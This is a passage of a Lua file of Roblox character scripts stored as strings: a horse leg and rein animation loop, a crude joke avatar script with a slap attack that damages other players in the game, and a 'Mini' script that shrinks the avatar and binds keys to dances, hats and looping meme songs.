  6217. ang = math.sin(time*6)*.8 + .35
  6218. ang2 = -math.abs(math.cos(time*3))*1.8
  6219. end
  6220. elseif th == -1 then
  6221. time = time + math.pi/2
  6222. ang = math.sin(time*6)*.3 +.25
  6223. time = time -.1
  6224. ang2 = -math.abs(math.sin(time*3))*1.3 +.2
  6225. else
  6226. end
  6227. end
  6228. else -- back
  6229. if i%6 == 1 then -- Right
  6230. if th == 1 then
  6231. if Speed <= WalkSpeed then -- walky
  6232. ang = math.sin(time*WalkSin)*.1 - .6
  6233. ang2 = math.abs(math.cos(time*WalkSin/2))*.5 + .4
  6234. elseif Speed <= TrotSpeed then
  6235. ang = math.sin(time*TrotSin)*.5 - .8
  6236. ang2 = math.abs(math.cos(time*TrotSin/2))*1.4 - .1
  6237. ang3 = ang2-1
  6238. else
  6239. time = time + math.pi/2
  6240. ang = math.sin(time*6)*.5 - .8
  6241. ang2 = math.abs(math.cos(time*3))*1.4 - .1
  6242. ang3 = ang2-1
  6243. end
  6244. elseif th == -1 then
  6245. ang = math.sin(time*6)*.2 - .6
  6246. time = time -.5
  6247. ang2 = math.abs(math.cos(time*3))*1.4 - .1
  6248. ang3 = math.sin(time*6)*.2
  6249. else
  6250. ang = -.5
  6251. ang2 = .65
  6252. ang3 = -.15
  6253. end
  6254. else -- left
  6255. if th == 1 then
  6256. if Speed <= WalkSpeed then -- walky
  6257. time = time + math.pi/WalkSin
  6258. ang = math.sin(time*WalkSin)*.1 - .7
  6259. ang2 = math.abs(math.cos(time*WalkSin/2))*.5 + .4
  6260. elseif Speed <= TrotSpeed then
  6261. time = time - math.pi/TrotSin
  6262. ang = math.sin(time*TrotSin)*.5 - .8
  6263. ang2 = math.abs(math.cos(time*TrotSin/2))*1.4 - .1
  6264. ang3 = ang2-1
  6265. else
  6266. time = time + math.pi/2 - .15
  6267. ang = math.sin(time*6)*.5 - .8
  6268. ang2 = math.abs(math.cos(time*3))*1.4 - .1
  6269. ang3 = ang2-1
  6270. end
  6271. elseif th == -1 then
  6272. time = time + math.pi/2
  6273. ang = math.sin(time*6)*.2 - .6
  6274. time = time -.5
  6275. ang2 = math.abs(math.cos(time*3))*1.4 - .1
  6276. ang3 = math.sin(time*6)*.2
  6277. else
  6278. ang = -.55
  6279. ang2 = .65
  6280. ang3 = -.1
  6281. end
  6282. end
  6283. end
  6284. Legs[i].C0 = clerp(Legs[i].C0,Legs0[i] * CFrame.Angles(ang,0,0), .2)
  6285. Legs[i+1].C0 =clerp(Legs[i+1].C0, Legs0[i+1] * CFrame.Angles(ang2,0,0), .2)
  6286. Legs[i+2].C0 = clerp(Legs[i+2].C0, Legs0[i+2] * CFrame.Angles(ang3,0,0), .2)
  6287. end
  6288.  
  6289. -- Reins
  6290. if ReinLineM and ReinLineM.Part1 and ReinLineM.Part1.Transparency < 1 then
  6291. local rHold = ReinsHold or CFrame.new(0,3.5,-2)
  6292. ReinSphereL.C0 = rHold*CFrame.new(-1.8,0,0) + Vector3.new(0,BreathSin*.05,0)
  6293. ReinSphereR.C0 = rHold*CFrame.new(1.8,0,0) + Vector3.new(0,BreathSin*.05,0)
  6294. local lp1 = Main.CFrame:pointToObjectSpace(ReinAnchorL.Position) + Vector3.new(-0.05,0,0)
  6295. local lp2 = ReinSphereL.C0.p
  6296. ReinLineL.C0 = CFrame.new(lp1:Lerp(lp2,.5),lp2)*CFrame.Angles(0,math.pi/2,0)
  6297. ReinLineL.Part1.Mesh.Scale = Vector3.new((lp2-lp1).magnitude/ReinLineL.Part1.Size.X,1,1)
  6298. local rp1 = Main.CFrame:pointToObjectSpace(ReinAnchorR.Position) + Vector3.new(0.05,0,0)
  6299. local rp2 = ReinSphereR.C0.p
  6300. ReinLineR.C0 = CFrame.new(rp1:Lerp(rp2,.5),rp2)*CFrame.Angles(0,math.pi/2,0)
  6301. ReinLineR.Part1.Mesh.Scale = Vector3.new((rp2-rp1).magnitude/ReinLineR.Part1.Size.X,1,1)
  6302. ReinLineM.C0 = CFrame.new(lp2:Lerp(rp2,.5),rp2)*CFrame.Angles(0,math.pi/2,0)
  6303. ReinLineM.Part1.Mesh.Scale = Vector3.new((rp2-lp2).magnitude/ReinLineM.Part1.Size.X,1,1)
  6304. end
  6305. for i,v in pairs(BackHairs) do
  6306. v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.05,math.sin(BreathSin+i^2)*.05,math.sin(BreathSin+i^3)*.05) + Vector3.new(0,BreathSin*.05,0)
  6307. end
  6308. --[[
  6309. for i,v in pairs(TailHairs) do
  6310. v.w.C0 = v.c0 * CFrame.Angles(math.sin(TailSin+i)*.05,math.sin(TailSin+i^2)*.05,math.sin(TailSin+i^3)*.05)
  6311. end
  6312. for i,v in pairs(NeckHairs) do
  6313. v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.05,math.sin(BreathSin+i^2)*.05,math.sin(BreathSin+i^3)*.05)
  6314. end
  6315. for i,v in pairs(HeadHairs) do
  6316. v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.08,math.sin(BreathSin+i^2)*.08,math.sin(BreathSin+i^3)*.08)
  6317. end]]
  6318. end))
  6319. ]==]
  6320.  
  6321. B0ob = [==[
  6322. local player=game.Players.LocalPlayer
  6323. local char=player.Character
  6324. local mouse=player:GetMouse()
  6325. local attacking = false
  6326. local debounce = false
  6327. Smp = "SmoothPlastic"
  6328. Sm = "Smooth"
  6329.  
  6330. local s1=Instance.new("Sound")
  6331. s1.SoundId="http://www.roblox.com/asset/?id=157299184"
  6332. s1.PlayOnRemove=false
  6333. s1.Volume=200
  6334. s1.Looped=false
  6335. s1.Pitch = 1
  6336. s1.Parent=char["Right Arm"]
  6337.  
  6338. local s2=Instance.new("Sound")
  6339. s2.SoundId="http://www.roblox.com/asset/?id=155363126"
  6340. s2.PlayOnRemove=false
  6341. s2.Volume=200
  6342. s2.Looped=false
  6343. s2.Pitch = 1
  6344. s2.Parent=char.Torso
  6345.  
  6346. local s3=Instance.new("Sound")
  6347. s3.SoundId="http://www.roblox.com/asset/?id=147876501"
  6348. s3.PlayOnRemove=false
  6349. s3.Volume=200
  6350. s3.Looped=true
  6351. s3.Pitch = 1
  6352. s3.Parent=char.Head
  6353.  
  6354. for _,v in pairs(char:GetChildren()) do if v.ClassName=="Hat" then v:remove() end end
  6355.  
  6356. if char:findFirstChild("Shirt") then
  6357. char.Shirt:Remove()
  6358. end
  6359.  
  6360. if char:findFirstChild("Pants") then
  6361. char.Pants:Remove()
  6362. end
  6363.  
  6364.  
  6365. local slap = Instance.new("Animation", char)
  6366. slap.AnimationId = "rbxassetid://160958710"
  6367. slap.Name = "slap"
  6368.  
  6369. local dance = Instance.new("Animation", char)
  6370. dance.AnimationId = "rbxassetid://168156427"
  6371. dance.Name = "dance"
  6372.  
  6373.  
  6374.  
  6375. game:service'InsertService':LoadAsset(13745548):children()[1].Parent = char
  6376. char.Head.face.Texture = "http://www.roblox.com/asset/?id=114820106"
  6377.  
  6378. local circle = Instance.new("Part",char)
  6379. circle.Size = Vector3.new(1.4,1.4,1.4)
  6380. circle.Locked = true
  6381. circle.Material = Smp
  6382. circle.TopSurface = Sm
  6383. circle.BottomSurface = Sm
  6384. circle.Name = "circle"
  6385. circle.Shape = 0
  6386. circle.formFactor = "Custom"
  6387. circle.BrickColor = char.Torso.BrickColor
  6388. circle:BreakJoints()
  6389. local circleweld = Instance.new("Weld",circle)
  6390. circleweld.Name = "circleweld"
  6391. circleweld.Part0 = circle
  6392. circleweld.Part1 = char.torso
  6393. circleweld.C0 = CFrame.new(-.45,-.40,.80)
  6394.  
  6395. One = Instance.new("Decal",circle)
  6396. One.Texture = "http://www.roblox.com/asset/?id=74033309"
  6397. One.Face ="Front"
  6398.  
  6399. local circle2 = Instance.new("Part",char)
  6400. circle2.Size = Vector3.new(1.4,1.4,1.4)
  6401. circle2.Locked = true
  6402. circle2.Material = Smp
  6403. circle2.TopSurface = Sm
  6404. circle2.BottomSurface = Sm
  6405. circle2.Name = "circle2"
  6406. circle2.Shape = 0
  6407. circle2.formFactor = "Custom"
  6408. circle2.BrickColor = char.Torso.BrickColor
  6409. circle2:BreakJoints()
  6410. local circle2weld = Instance.new("Weld",circle2)
  6411. circle2weld.Name = "circle2weld"
  6412. circle2weld.Part0 = circle2
  6413. circle2weld.Part1 = char.torso
  6414. circle2weld.C0 = CFrame.new(.45,-.40,.80)
  6415. Two = Instance.new("Decal",circle2)
  6416. Two.Texture = "http://www.roblox.com/asset/?id=74033309"
  6417. Two.Face ="Front"
  6418.  
  6419. char["Right Arm"].Touched:connect(function(hit)
  6420. if debounce == false then
  6421. debounce = true
  6422. isPlayer = hit.Parent:FindFirstChild("Humanoid")
  6423. if isPlayer and attacking == true then
  6424. isPlayer:TakeDamage(13)
  6425. s2.Parent = isPlayer.Parent.Head
  6426. s2:Play()
  6427. wait(0.5)
  6428. end
  6429. debounce = false
  6430. end
  6431. end)
  6432.  
  6433. mouse.KeyDown:connect(function(key) local key=key:lower()
  6434. if key=="f" then
  6435. s1:Play()
  6436. local vCharacter = char
  6437. local hum = vCharacter:findFirstChild("Humanoid")
  6438. blah = hum:LoadAnimation(char.slap)
  6439. blah:Play()
  6440. end
  6441. end)
  6442.  
  6443. mouse.KeyDown:connect(function(key) local key=key:lower()
  6444. if key=="f" then
  6445. attacking = true
  6446. wait(0.5)
  6447. attacking = false
  6448. end
  6449. end)
  6450. mouse.KeyDown:connect(function(key) local key=key:lower()
  6451. if key=="g" then
  6452. local vCharacter = char
  6453. local hum = vCharacter:findFirstChild("Humanoid")
  6454. blah2 = hum:LoadAnimation(char.dance)
  6455. blah2:Play()
  6456. s3:Play()
  6457. end
  6458. end)
  6459. mouse.KeyUp:connect(function(key) local key=key:lower()
  6460. if key=="g" then
  6461. blah2:Stop()
  6462. s3:Pause()
  6463. end
  6464. end)
  6465. ]==]
  6466.  
  6467. Mini = [==[
  6468. local ran,err = ypcall(function()
  6469. plr = game:service'Players'.LocalPlayer
  6470. char = plr.Character
  6471. mouse = plr:GetMouse()
  6472. humanoid = char:findFirstChild("Humanoid")
  6473. torso = char:findFirstChild("Torso")
  6474. head = char.Head
  6475. ra = char:findFirstChild("Right Arm")
  6476. la = char:findFirstChild("Left Arm")
  6477. rl = char:findFirstChild("Right Leg")
  6478. ll = char:findFirstChild("Left Leg")
  6479. rs = torso:findFirstChild("Right Shoulder")
  6480. ls = torso:findFirstChild("Left Shoulder")
  6481. rh = torso:findFirstChild("Right Hip")
  6482. lh = torso:findFirstChild("Left Hip")
  6483. neck = torso:findFirstChild("Neck")
  6484. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  6485. anim = char:findFirstChild("Animate")
  6486. rootpart = char:findFirstChild("HumanoidRootPart")
  6487. camera = workspace.CurrentCamera
  6488. if anim then
  6489. anim:Destroy()
  6490. end
  6491.  
  6492.  
  6493. rj.C0 = CFrame.new()
  6494. rj.C1 = CFrame.new()
  6495.  
  6496.  
  6497. super_annoying = Instance.new("Sound", head)
  6498. super_annoying.SoundId = "http://www.roblox.com/asset/?id=148896355"
  6499. super_annoying.Volume = 0.6
  6500. super_annoying.Looped = true
  6501. barrel_roll = Instance.new("Sound", head)
  6502. barrel_roll.SoundId = "http://www.roblox.com/asset/?id=167781905"
  6503. barrel_roll.Volume = 1
  6504. barrel_roll.Looped = true
  6505. dubstep_gun = Instance.new("Sound", head)
  6506. dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=161103614"
  6507. dubstep_gun.Volume = 0.6
  6508. dubstep_gun.Looped = true
  6509. you_are_pirate = Instance.new("Sound", head)
  6510. you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=143750088"
  6511. you_are_pirate.Volume = 0.6
  6512. you_are_pirate.Looped = true
  6513. cant_touch = Instance.new("Sound", head)
  6514. cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929"
  6515. cant_touch.Volume = 1
  6516. cant_touch.Looped = true
  6517. gangy_style = Instance.new("Sound", head)
  6518. gangy_style.SoundId = "http://www.roblox.com/asset/?id=140645302"
  6519. gangy_style.Volume = 0.6
  6520. gangy_style.Looped = true
  6521. fox_say = Instance.new("Sound", head)
  6522. fox_say.SoundId = "http://www.roblox.com/asset/?id=130797915"
  6523. fox_say.Volume = 0.5
  6524. fox_say.Looped = true
  6525. durk = Instance.new("Sound", head)
  6526. durk.SoundId = "http://www.roblox.com/asset/?id=150740745"
  6527. durk.Volume = 0.8
  6528. durk.Looped = true
  6529. sax_guy = Instance.new("Sound", head)
  6530. sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684"
  6531. sax_guy.Volume = 0.6
  6532. sax_guy.Looped = true
  6533. heman = Instance.new("Sound", head)
  6534. heman.SoundId = "http://www.roblox.com/asset/?id=131102548"
  6535. heman.Volume = 1
  6536. heman.Looped = true
  6537. justin = Instance.new("Sound", head)
  6538. justin.SoundId = "http://www.roblox.com/asset/?id=143736517"
  6539. justin.Volume = 0.8
  6540. justin.Looped = true
  6541. brony_music = Instance.new("Sound", head)
  6542. brony_music.SoundId = "http://www.roblox.com/asset/?id=134754481"
  6543. brony_music.Volume = 1
  6544. brony_music.Looped = true
  6545. spitfire = Instance.new("Sound", head)
  6546. spitfire.SoundId = "http://www.roblox.com/asset/?id=129490596"
  6547. spitfire.Volume = 0.8
  6548. spitfire.Looped = true
  6549. burn_dem = Instance.new("Sound", head)
  6550. burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469"
  6551. burn_dem.Volume = 1
  6552. burn_dem.Looped = true
  6553.  
  6554.  
  6555. if char:findFirstChild("Shirt") then
  6556. char:findFirstChild("Shirt"):Destroy()
  6557. end
  6558. if char:findFirstChild("Pants") then
  6559. char:findFirstChild("Pants"):Destroy()
  6560. end
  6561. if char:findFirstChild("Shirt Graphic") then
  6562. char:findFirstChild("Shirt Graphic"):Destroy()
  6563. end
  6564.  
  6565. Instance.new("HumanoidController", game:service'ControllerService')
  6566. Instance.new("SkateboardController", game:service'ControllerService')
  6567. Instance.new("VehicleController", game:service'ControllerService')
  6568.  
  6569. rh.Parent = nil
  6570. lh.Parent = nil
  6571. rs.Parent = nil
  6572. ls.Parent = nil
  6573. neck.Parent = nil
  6574. rj.Parent = nil
  6575.  
  6576.  
  6577. rl.FormFactor = "Custom"
  6578. ll.FormFactor = "Custom"
  6579. ra.FormFactor = "Custom"
  6580. la.FormFactor = "Custom"
  6581. torso.FormFactor = "Custom"
  6582. head.FormFactor = "Custom"
  6583. rootpart.FormFactor = "Custom"
  6584.  
  6585. rootpart.Size = Vector3.new(.4, .4, .2)
  6586. rl.Size = Vector3.new(.2, .4, .2)
  6587. ll.Size = Vector3.new(.2, .4, .2)
  6588. ra.Size = Vector3.new(.2, .4, .2)
  6589. la.Size = Vector3.new(.2, .4, .2)
  6590. torso.Size = Vector3.new(.4, .4, .2)
  6591. head.Size = Vector3.new(.4, .2, .2)
  6592.  
  6593. rh.Parent = torso
  6594. lh.Parent = torso
  6595. rs.Parent = torso
  6596. ls.Parent = torso
  6597. neck.Parent = torso
  6598. rj.Parent = rootpart
  6599.  
  6600. if torso:findFirstChild("roblox") then
  6601. local p = Instance.new("Part", char)
  6602. p.FormFactor = "Custom"
  6603. p.Size = torso.Size
  6604. p.Transparency = 1
  6605. p:BreakJoints()
  6606. local w = Instance.new("Weld", char)
  6607. w.Part0 = p
  6608. w.Part1 = torso
  6609. torso:findFirstChild("roblox").Parent = p
  6610. end
  6611.  
  6612. mesh1 = Instance.new("SpecialMesh", torso)
  6613. mesh1.Name = "Mesh"
  6614. mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0)
  6615. mesh1.MeshId = "rbxasset://fonts/torso.mesh"
  6616. mesh2 = Instance.new("SpecialMesh", la)
  6617. mesh2.Name = "Mesh"
  6618. mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0)
  6619. mesh2.MeshId = "rbxasset://fonts/leftarm.mesh"
  6620. mesh3 = Instance.new("SpecialMesh", ra)
  6621. mesh3.Name = "Mesh"
  6622. mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0)
  6623. mesh3.MeshId = "rbxasset://fonts/rightarm.mesh"
  6624. mesh4 = Instance.new("SpecialMesh", ll)
  6625. mesh4.Name = "Mesh"
  6626. mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0)
  6627. mesh4.MeshId = "rbxasset://fonts/leftleg.mesh"
  6628. mesh5 = Instance.new("SpecialMesh", rl)
  6629. mesh5.Name = "Mesh"
  6630. mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0)
  6631. mesh5.MeshId = "rbxasset://fonts/rightleg.mesh"
  6632.  
  6633. ls.C0 = CFrame.new(-.3,.1,0)
  6634. ls.C1 = CFrame.new(0,.1,0)
  6635. rs.C0 = CFrame.new(.3,.1,0)
  6636. rs.C1 = CFrame.new(0,.1,0)
  6637. rh.C0 = CFrame.new(.1,-.2,0)
  6638. rh.C1 = CFrame.new(0, .2, 0)
  6639. lh.C0 = CFrame.new(-.1,-.2,0)
  6640. lh.C1 = CFrame.new(0, .2, 0)
  6641. neck.C0 = CFrame.new(0,.2,0)
  6642. neck.C1 = CFrame.new(0,-.1,0)
  6643.  
  6644. bodyc = char:findFirstChild("Body Colors")
  6645. if bodyc then
  6646. bodyc:Destroy()
  6647. end
  6648. wait(0.1)
  6649.  
  6650. skincolor = {"Reddish brown", "Brick yellow", "Pastel brown", "Nougat", "Brown", "Cool yellow", "Dark orange", "Neon orange"}
  6651. clothcolor = {"Bright green", "Bright red", "Bright blue", "Light stone grey", "New Yeller", "Really black", "Lavender", "Medium green", "White", "Bright Yellow"}
  6652.  
  6653.  
  6654. skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)])
  6655. clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)])
  6656. function restorecolors()
  6657. for _,bp in pairs(char:children()) do
  6658. if bp:IsA("BasePart") then
  6659. bp.BrickColor = skincolorrandom
  6660. end
  6661. end
  6662.  
  6663. torso.BrickColor = clothcolorrandom
  6664. ll.BrickColor = clothcolorrandom
  6665. rl.BrickColor = clothcolorrandom
  6666. end
  6667. restorecolors()
  6668.  
  6669. local LightForTorso = Instance.new("PointLight", head)
  6670. LightForTorso.Color = torso.BrickColor.Color
  6671. LightForTorso.Range = 7
  6672. LightForTorso.Brightness = 1.5
  6673.  
  6674.  
  6675.  
  6676.  
  6677. local slidecount = 0
  6678. local slidecountmax = 0
  6679. local anim = ""
  6680. local lastanim = anim
  6681. local speed = 0
  6682. local looking = false
  6683. local dancing = false
  6684. local superannoying = false
  6685. local barrelroll = false
  6686. local dubstepgun = false
  6687. local foxie = false
  6688. local durka = false
  6689. local saxguy = false
  6690. local heya = false
  6691. local jb = false
  6692. local bronymusic = false
  6693. local sheddy = false
  6694. local burndem = false
  6695. local global_wait = 0
  6696.  
  6697. count = 0
  6698. countspeed = 1
  6699. sine = 0
  6700. sinespeed = 1
  6701.  
  6702.  
  6703.  
  6704. humanoid.WalkSpeed = 11
  6705.  
  6706.  
  6707. local controllerService = game:GetService("ControllerService")
  6708. local controller = controllerService:GetChildren()[1]
  6709.  
  6710.  
  6711. local colors = {"White", "Really black"}
  6712.  
  6713. humanoid.Died:connect(function()
  6714. for cframe_parts = 0, 100 do
  6715. local p = Instance.new("Part")
  6716. p.FormFactor = "Custom"
  6717. p.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
  6718. p.Size = Vector3.new(1, 1, 1)
  6719. Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  6720. p.Locked = true
  6721. p.CanCollide = false
  6722. p.Anchored = true
  6723. p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36))
  6724. p.Parent = workspace
  6725. game:service'Debris':AddItem(p, 5)
  6726. coroutine.wrap(function()
  6727. while wait() do
  6728. if p ~= nil then
  6729. p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  6730. p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  6731. p.Transparency = p.Transparency + 0.015
  6732. else
  6733. break
  6734. end
  6735. end
  6736. end)()
  6737. end
  6738. for _,v in pairs(char:children()) do
  6739. if v:IsA("Part") then
  6740. v:Destroy()
  6741. end
  6742. end
  6743.  
  6744. end)
  6745.  
  6746.  
  6747. mouse.KeyDown:connect(function(k)
  6748.  
  6749. if string.byte(k) == 50 then
  6750.  
  6751. if dancing then return end
  6752. sitting = not sitting
  6753. if sitting then
  6754. local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0))
  6755. local hitz,enz = workspace:FindPartOnRay(ray, char)
  6756.  
  6757.  
  6758. if hitz then
  6759. controller.Parent = nil
  6760. humanoid.WalkSpeed = 0
  6761. coroutine.wrap(function()
  6762. while wait() do
  6763. humanoid.PlatformStand = true
  6764. if sitting == false then humanoid.PlatformStand = false break end
  6765. end
  6766. end)()
  6767. rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
  6768. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
  6769. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
  6770. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
  6771. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
  6772.  
  6773. miniweld = Instance.new("Weld", char)
  6774. miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame)
  6775. miniweld.Part0 = hitz
  6776. miniweld.Part1 = rootpart
  6777. else
  6778. sitting = false
  6779. return
  6780. end
  6781. else
  6782. if miniweld then
  6783. miniweld:Destroy()
  6784. end
  6785. controller.Parent = controllerService
  6786. humanoid.PlatformStand = false
  6787. humanoid.WalkSpeed = 11
  6788. end
  6789. end
  6790.  
  6791. if k == "w" or k == "a" or k == "s" or k == "d" or string.byte(k) == 32 then
  6792. superannoying = false
  6793. barrelroll = false
  6794. heya = false
  6795. dubstepgun = false
  6796. youpirate = false
  6797. canttouch = false
  6798. gangnam = false
  6799. sheddy = false
  6800. durka = false
  6801. saxguy = false
  6802. foxie = false
  6803. burndem = false
  6804. bronymusic = false
  6805. brony_music:stop()
  6806. fox_say:stop()
  6807. spitfire:stop()
  6808. heman:stop()
  6809. justin:stop()
  6810. jb = false
  6811. durk:stop()
  6812. restorecolors()
  6813. burn_dem:stop()
  6814. if hat then
  6815. hat:Destroy()
  6816. end
  6817. sax_guy:stop()
  6818. gangy_style:stop()
  6819. cant_touch:stop()
  6820. you_are_pirate:stop()
  6821. dubstep_gun:stop()
  6822. super_annoying:stop()
  6823. barrel_roll:stop()
  6824. dancing = false
  6825. global_wait = 0
  6826. LightForTorso.Color = torso.BrickColor.Color
  6827. end
  6828.  
  6829. if k == "z" then
  6830. if dancing then return end
  6831. if not sitting then
  6832. dancing = true
  6833. superannoying = true
  6834. super_annoying:play()
  6835. end
  6836. end
  6837. if k == "k" then
  6838. if dancing then return end
  6839. if not sitting then
  6840. dancing = true
  6841. sheddy = true
  6842. spitfire:play()
  6843. end
  6844. end
  6845.  
  6846. if k == "n" then
  6847. if dancing then return end
  6848. if not sitting then
  6849. dancing = true
  6850. gangnam = true
  6851. gangy_style:play()
  6852. end
  6853. end
  6854.  
  6855. if k == "r" then
  6856. if dancing then return end
  6857. if not sitting then
  6858. dancing = true
  6859. burndem = true
  6860. burn_dem:play()
  6861. end
  6862. end
  6863.  
  6864.  
  6865. if k == "x" then
  6866. if dancing then return end
  6867. if not sitting then
  6868. dancing = true
  6869. barrelroll = true
  6870. barrel_roll:play()
  6871. hat = Instance.new("Part", char)
  6872. hat.FormFactor = "Custom"
  6873. hat.CanCollide = false
  6874. hat.Size = torso.Size
  6875. hat.Locked = true
  6876. hat:breakJoints()
  6877. local hatmesh = Instance.new("SpecialMesh", hat)
  6878. hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142"
  6879. hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063"
  6880. hatmesh.Scale = Vector3.new(.22, .2, .22)
  6881. local hatweld = Instance.new("Weld", hat)
  6882. hatweld.Part0 = hat
  6883. hatweld.Part1 = torso
  6884. end
  6885. end
  6886. if k == "h" then
  6887. if dancing then return end
  6888. if not sitting then
  6889. dancing = true
  6890. heman:play()
  6891. heya = true
  6892. hat = Instance.new("Part", char)
  6893. hat.FormFactor = "Custom"
  6894. hat.CanCollide = false
  6895. hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01)
  6896. hat.Locked = true
  6897. hat.BrickColor = BrickColor.new("Hot pink")
  6898. hat:breakJoints()
  6899. local hatweld = Instance.new("Weld", hat)
  6900. hatweld.Part0 = hat
  6901. hatweld.Part1 = torso
  6902. end
  6903. end
  6904. if k == "j" then
  6905. if dancing then return end
  6906. if not sitting then
  6907. dancing = true
  6908. justin:play()
  6909. jb = true
  6910. hat = Instance.new("Part", char)
  6911. hat.FormFactor = "Custom"
  6912. hat.CanCollide = false
  6913. hat.Size = head.Size
  6914. hat.Locked = true
  6915. hat.BrickColor = BrickColor.new("Hot pink")
  6916. hat:breakJoints()
  6917. local hatmesh = Instance.new("SpecialMesh", hat)
  6918. hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424"
  6919. hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982"
  6920. hatmesh.Scale = Vector3.new(.23, .23, .23)
  6921. local hatweld = Instance.new("Weld", hat)
  6922. hatweld.Part0 = hat
  6923. hatweld.Part1 = head
  6924. hatweld.C0 = CFrame.new(0.025, -0.05, 0)
  6925. end
  6926. end
  6927. if k == "c" then
  6928. if dancing then return end
  6929. if not sitting then
  6930. dancing = true
  6931. dubstepgun = true
  6932. dubstep_gun:play()
  6933. end
  6934. end
  6935. if k == "v" then
  6936. if dancing then return end
  6937. if not sitting then
  6938. dancing = true
  6939. youpirate = true
  6940. you_are_pirate:play()
  6941. hat = Instance.new("Part", char)
  6942. hat.FormFactor = "Custom"
  6943. hat.CanCollide = false
  6944. hat.Size = head.Size
  6945. hat.Locked = true
  6946. hat:breakJoints()
  6947. local hatmesh = Instance.new("SpecialMesh", hat)
  6948. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848"
  6949. hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847"
  6950. hatmesh.Scale = Vector3.new(.2, .2, .2)
  6951. local hatweld = Instance.new("Weld", hat)
  6952. hatweld.Part0 = hat
  6953. hatweld.Part1 = head
  6954. hatweld.C0 = CFrame.new(0, -0.15, 0)
  6955. end
  6956. end
  6957. if k == "m" then
  6958. if dancing then return end
  6959. if not sitting then
  6960. dancing = true
  6961. canttouch = true
  6962. cant_touch:play()
  6963. end
  6964. end
  6965. if k == "b" then
  6966. if dancing then return end
  6967. if not sitting then
  6968. dancing = true
  6969. bronymusic = true
  6970. brony_music:play()
  6971. for _,bp in pairs(char:children()) do
  6972. if bp:IsA("BasePart") then
  6973. bp.BrickColor = BrickColor.new("Lavender")
  6974. end
  6975. end
  6976. hat = Instance.new("Part", char)
  6977. hat.FormFactor = "Custom"
  6978. hat.CanCollide = false
  6979. hat.Size = head.Size
  6980. hat.Locked = true
  6981. hat.BrickColor = BrickColor.new("Lavender")
  6982. hat:breakJoints()
  6983. local hatmesh = Instance.new("SpecialMesh", hat)
  6984. hatmesh.MeshId = "http://www.roblox.com/asset/?id=118186643"
  6985. hatmesh.Scale = Vector3.new(.1, .2, .1)
  6986. local hatweld = Instance.new("Weld", hat)
  6987. hatweld.Part0 = hat
  6988. hatweld.Part1 = head
  6989. hatweld.C0 = CFrame.new(0, -0.1, 0.05)
  6990. end
  6991. end
  6992.  
  6993. if k == "l" then
  6994. if dancing then return end
  6995. if not sitting then
  6996. dancing = true
  6997. foxie = true
  6998. fox_say:play()
  6999. hat = Instance.new("Part", char)
  7000. hat.FormFactor = "Custom"
  7001. hat.CanCollide = false
  7002. hat.Size = head.Size
  7003. hat.Locked = true
  7004. hat:breakJoints()
  7005. local hatmesh = Instance.new("SpecialMesh", hat)
  7006. hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225"
  7007. hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210"
  7008. hatmesh.Scale = Vector3.new(.2, .2, .2)
  7009. local hatweld = Instance.new("Weld", hat)
  7010. hatweld.Part0 = hat
  7011. hatweld.Part1 = head
  7012. hatweld.C0 = CFrame.new(0, -0.1, 0)
  7013. end
  7014.  
  7015. end
  7016. if k == "f" then
  7017. if dancing then return end
  7018. if not sitting then
  7019. dancing = true
  7020. durka = true
  7021. durk:play()
  7022. end
  7023. end
  7024. if k == "g" then
  7025. if dancing then return end
  7026. if not sitting then
  7027. dancing = true
  7028. saxguy = true
  7029. sax_guy:play()
  7030. hat = Instance.new("Part", char)
  7031. hat.FormFactor = "Custom"
  7032. hat.CanCollide = false
  7033. hat.Size = head.Size
  7034. hat.Locked = true
  7035. hat:breakJoints()
  7036. local hatmesh = Instance.new("SpecialMesh", hat)
  7037. hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178"
  7038. hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320"
  7039. hatmesh.Scale = Vector3.new(.25, .25, .25)
  7040. local hatweld = Instance.new("Weld", hat)
  7041. hatweld.Part0 = hat
  7042. hatweld.Part1 = la
